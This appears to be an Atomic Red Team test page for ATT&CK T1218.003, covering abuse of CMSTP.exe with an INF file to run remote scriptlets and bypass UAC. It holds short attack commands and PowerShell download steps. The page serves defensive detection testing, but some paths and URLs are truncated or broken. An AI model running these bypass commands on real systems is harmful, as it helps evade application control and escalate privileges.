



107 lines (58 loc) · 3.8 KB

T1218.003 - CMSTP

Description from ATT&CK

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](#) / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to [Bypass User Account Control](#) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug

2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

Atomic Tests

- [Atomic Test #1 - CMSTP Executing Remote Scriptlet](#)
- [Atomic Test #2 - CMSTP Executing UAC Bypass](#)

Atomic Test #1 - CMSTP Executing Remote Scriptlet

Adversaries may supply CMSTP.exe with INF files infected with malicious commands

Supported Platforms: Windows

auto_generated_guid: 34e63321-9683-496b-bbc1-7566bc55e624

Inputs:

| Name | Description | Type | Default Value |
|---------------|----------------------|------|---|
| inf_file_path | Path to the INF file | Path | PathToAtomicsFolder\T1218.003\src\T1218.003.inf |

Attack Commands: Run with `command_prompt` !

```
cmstp.exe /s #{inf_file_path}
```

Dependencies: Run with `powershell` !

Description: INF file must exist on disk at specified location (#{inf_file_path})

Check Prereq Commands:

```
if (Test-Path #{inf_file_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path ${inf_file_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic-red-team/atomics/T1218.003/T1218.003.md"
```

Atomic Test #2 - CMSTP Executing UAC Bypass

Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file

Supported Platforms: Windows

auto_generated_guid: 748cb4f6-2fb3-4e97-b7ad-b22635a09ab0

Inputs:

| Name | Description | Type | Default Value |
|--------------|----------------------|------|--|
| inf_file_uac | Path to the INF file | Path | PathToAtomicsFolder\T1218.003\src\T1218.003_uacbypass.in |

Attack Commands: Run with `command_prompt` !

```
cmstp.exe /s ${inf_file_uac} /au
```

Dependencies: Run with `powershell` !

Description: INF file must exist on disk at specified location (\${inf_file_uac})

Check Prereq Commands:

```
if (Test-Path ${inf_file_uac}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path ${inf_file_uac}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic"
```